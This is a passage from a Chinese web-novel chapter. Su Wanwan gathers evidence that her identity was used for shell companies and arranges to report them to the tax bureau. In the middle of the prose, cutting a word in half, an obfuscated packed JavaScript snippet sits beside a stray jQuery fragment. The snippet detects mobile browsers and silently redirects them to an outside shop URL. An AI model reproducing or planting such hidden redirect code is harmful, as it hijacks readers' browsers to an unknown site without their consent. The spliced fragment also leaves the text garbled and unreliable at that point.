“我要见一个人。”
秋姨那边没有立刻接话。茶水注入盖碗的声音沿着话筒传过来，细长而稳，像一根线被拉直。然后她说了三个字，不高不低，像在陈述一个已经想好的节点：“该见了。”
苏晚晚挂断电话，把手机放在茶几上。屏幕暗下去之前，傅衍之发来的那条消息还亮着——附件已读的标记变成了一行灰色的“已读”。她看着那两个灰字，看着自己名字的首字母“W”和对方的“F”在屏幕上被一道横线隔开。那道横线很细，但她觉得像一道裂痕，从屏幕左边缘延伸到右边缘，把两个字母分成了两个世界。
她站起来。没有去厨房，没有拧水龙头。她只是站在那里，等自己的呼吸平下来，然后走到衣柜前拉开最下层的抽屉，手指在保险柜的数字键盘上停了停。密码按下去的时候，指尖的力度比平时重了一点——像要把那些数字按进金属里。保险柜的门片弹开时发出一声短促的咔嗒，像什么东西被咬断了。
她从里面抽出那个牛皮纸文件袋，没打开，直接塞进帆布包底层。又把那张照片的复印件——辛巳年秋——折好，夹进一本《家常菜谱1000例》的第两百页，和那页纸上印着的水晶虾仁菜谱叠在一起。菜谱的纸张泛黄了，被油渍洇过，边缘有些卷曲。她顺手从文件袋侧面抽出一张折了三折的便签，上面是手写的地址——税务局的举报窗口。她把便签塞进外套内袋，指尖压了一下，确认它贴住了布料。
她站在镜子前穿好外套。那道裂痕从左下角蔓延至镜框边缘。她看着镜中自己的一张脸被那道细线分成两截——一只眼睛在裂痕左边，一只在右边，像两个人隔着一条河在对望。她伸手用指腹贴着那道裂纹。玻璃的边缘有一丝极细的锋利感，轻轻划了一下指腹，渗出一点红色。她低头看了看那道渗出的细线，用拇指把它擦掉了。指纹上留下一道很淡的红痕。
她拉上帆布包拉链的时候，指腹上的那道细痕在尼龙布料上刮了一下，刺痛感沿着神经传上来。她没有缩手，把包挎上肩膀，走到门口换好平底鞋，拉开门的瞬间，冷风灌进来，带着巷子里煎饼摊的葱油味和昨夜雨水残留的潮气。
她在门槛上站了几秒钟。回头看了一眼这个房间——茶几上摊着那张记账单的复印件，“船舶证号”下面那三道铅笔画痕被窗外的光斜斜地切成明暗两段。茶几角上搁着一杯她没喝完的水，杯壁内侧贴着一个小小的水垢圈。
她没有去收拾。
关上门。
楼道里的声控灯坏了很久，灰白的日光从楼梯转角处的窗户透进来，在地面上投下一块边缘模糊的光斑。她踩着那道光线走下去，脚步声在逼仄的楼道里回荡着，像有人在另一个房间里敲击同一级台阶。
走出楼门的时候，她看见巷口停着一辆白色面包车。
不是昨天那辆。这辆车车身上贴着“锦城市市政工程”的蓝色字样，挡风玻璃后的遮阳板放下来了一半，看不清驾驶座上的人。引擎盖没有热气冒出来，排气管也不冒烟——停了一段时间。
苏晚晚没有放慢脚步。她沿着人行道往建设路的方向走，步子不紧不慢，保持着正常人的步频。走到巷口拐弯的地方，她偏头看了一眼面包车——没有挂车牌的后窗玻璃反射着一片灰白色的天空，什么都看不到。
她没有回头看第二眼。
建设路早高峰的人流已经散了大半，街边的店铺大多开了门。永和豆浆门口站着一个穿黑色羽绒服的男人，正在低头抽烟，烟头的红光在灰白的日光下显得刺眼。她从他身边走过时闻到了红塔山的味道——浓烈的，带着一股干涩的烟焦气。
她没有加速。
进了建设路地铁站，她在闸机口刷了卡进站，没有立刻下扶梯。她站在闸机内侧的柱子旁边，低头假装翻包，余光扫着闸机外的方向。进站的人流稀稀落落的，大多是上了年纪的人。没有人从闸机外停下来，没有人拿手机假装打电话。
她等了将近一分钟，然后走进卫生间。
卫生间里的白炽灯管发出嗡嗡的低频噪声，几面隔间门都开着，里面空荡荡的。她在洗手台前站了半分钟，看着镜子里自己的脸——没有那道裂痕，完整的一张脸，眼眶底下有一层浅青色的阴影。
她拧开水龙头洗了洗手，然后关上水龙头，甩了甩手上的水，拉开门走了出去。
坐上三号线往南方向的地铁，她在车厢中部找了一个靠门的位置站定，没有坐下。车厢里人不多，一个穿校服的学生坐在座位上低头刷手机，一个抱孩子的中年妇女在另一头打盹。
她在火车南站下了车，刷卡出站后走了大约十分钟，拐进一片老旧居民区。单元楼的外墙刷过一层米黄色的涂料，被雨水泡过之后起了一片片黄色的鼓包，像皮肤上的水泡。她在第三单元的防盗门前按了按门铃，没有姓名标签，只有一颗灰色的按钮。
门里传来一声闷响，然后门开了。一个五十岁左右的男人站在门厅里，深灰色的抓绒衫，头发花白但剪得很短，脚上踩着一双旧棉拖鞋。他看着苏晚晚，目光在她脸上停了一下，然后侧身让开。
“进来。”
苏晚晚走进去。男人关上门，铁门合上时发出一声沉闷的咔嗒，锁舌咬住了门框。
“秋姨跟我说了。”他说，声音不响，像一台低转速运转的发动机，“你坐。”
她在客厅的布艺沙发上坐下。阳台的玻璃窗上糊着一层旧报纸，遮住了大半的光线，房间里的天光昏暗得像黄昏。茶几上放着一个搪瓷茶缸，里面的茶早就凉透了，表面浮着一层深褐色的油膜。
男人在她对面坐下，没管那杯凉茶。他从沙发垫下面抽出一个牛皮纸信封，放在茶几上推过去。
信封很薄，边角被按得很平。
苏晚晚没有立刻拿起它。她看着那个信封，看着它被推过来时在茶几表面留下的一道细长的痕迹——灰尘被推开的痕迹，像一条干涸的河床。
“你看看。”
她拿起信封，撕开封口。里面只有一张纸，折了三折，纸张的边缘被反复折叠磨损得发毛，泛着灰白色的丝缕。
展开。
是一张从工商登记档案里复印出来的表格——“锦城市经济技术开发区傅氏商贸有限公司，法定代表人：苏晚晚”。表格上的签字不是她的笔迹。
她认得那个签名。
“苏晚晚”——三个字，横平竖直，笔画规整得像小学生写的。那是她三年前刚刚嫁进傅家不久时的字迹。那时候她还会一笔一画地写自己的名
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741865|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
字，因为她觉得“苏晚晚”三个字写端正了才有福气。
纸的右下角盖着一个日期戳——2020年4月。
距离她第一次发现傅衍之的账目不对，还有三个月。
苏晚晚把那张纸折好，放回信封里，没有递给男人，没有放进自己包里。她握着信封，指腹压在纸张折痕上，感觉到纸张边缘的毛刺划过皮肤。
她没有问他是怎么拿到的。
“还有呢？”她说。
男人看了她一眼，然后弯腰从茶几底下的抽屉里又拿出一个文件夹——蓝色的硬纸壳，边角被磨白了，露出底下灰色的纸板。
“这是另一个壳子。”他说，翻开文件夹，指着一张纸，“法人代表不是你，但还是你的身份证复印件。”
苏晚晚低头看——那张身份证复印件上，她的头像被放大到模糊，边缘有被多次复印后产生的锯齿状条纹。身份证号码被打码了，但地址那栏清清楚楚地写着：“锦城市榕城区建设路七号院4单元301。”
她搬出去之后，没有改过户籍地址。因为她觉得没必要。
她看着那个地址看了几秒，合上文件夹。
“这些东西，你什么时候拿到的？”
“上个月。”男人说，然后补了一句，“你上次去勐腊的时候。”
苏晚晚的目光没有从他脸上移开。他的表情很平，像一块被压过的地面，什么都看不出来。
“帮我做一件事。”苏晚晚说。
“说。”
她把那个牛皮纸信封放在茶几上，按了一下，推到男人面前。“这里面的东西，帮我送到税务局的举报窗口。原件。”
男人没有立刻接。他低头看了一眼那个信封，又抬头看着苏晚晚。“你想好了？”
“想好了。”
“一旦进去，”他说，“就没有回头路了。”
苏晚晚站起来。她把帆布包的带子往肩上拢了拢，走到门口，在门槛处站定。阳光从单元门上的磨砂玻璃透进来，把她的影子拉成一道长长的灰色，贴在地砖上。
“我从签第九十九份离婚协议那天，”她说，“就没有想过回头。”
她拉开门，冷风灌进来。她没有回头，走进巷子里。阳光把她的影子投在柏油路面和路边的砖墙上——一个瘦削的、走得很稳的黑影。
口袋里的手机震了一下。
她没有看。走出了巷子，拐过街角，走到一棵法国梧桐的树荫底下，才掏出手机。
屏幕上是顾西城发来的消息：“那条尾巴，我让人截了。”
苏晚晚站在树下，看着那一行字，看了很久。阳光穿过梧桐树叶的缝隙，在她脸上投下斑驳的光影，像一张正在慢慢褪色的素描。
她把手机收好，没有回。指尖碰到帆布袋内袋里那张照片的折痕——纸张的边缘在低温下显得格外锋利，像一截露在墙外的旧水管，凉得扎手。
指腹上那道被镜片划出的细痕还在，在冷空气里带着一丝刺痛的凉意。她低头看了一眼那道红色的痕迹——很细，很浅，像一根被遗忘的线头。
她沿着人行道继续往前走。身后的阳光移过树冠，把她的影子从柏油路面上收走了。
她没有回头看。